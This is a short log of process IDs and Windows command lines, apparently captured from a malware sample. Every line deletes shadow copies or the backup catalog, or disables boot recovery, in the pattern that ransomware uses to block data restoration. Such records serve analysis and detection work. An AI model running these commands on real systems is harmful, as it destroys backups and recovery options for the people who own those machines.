WMIC.exe wmic shadowcopy delete
7316cmd.exe "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
8340cmd.exe "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
8704cmd.exe "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
3360vssadmin.exe vssadmin delete shadows /all /quiet
8628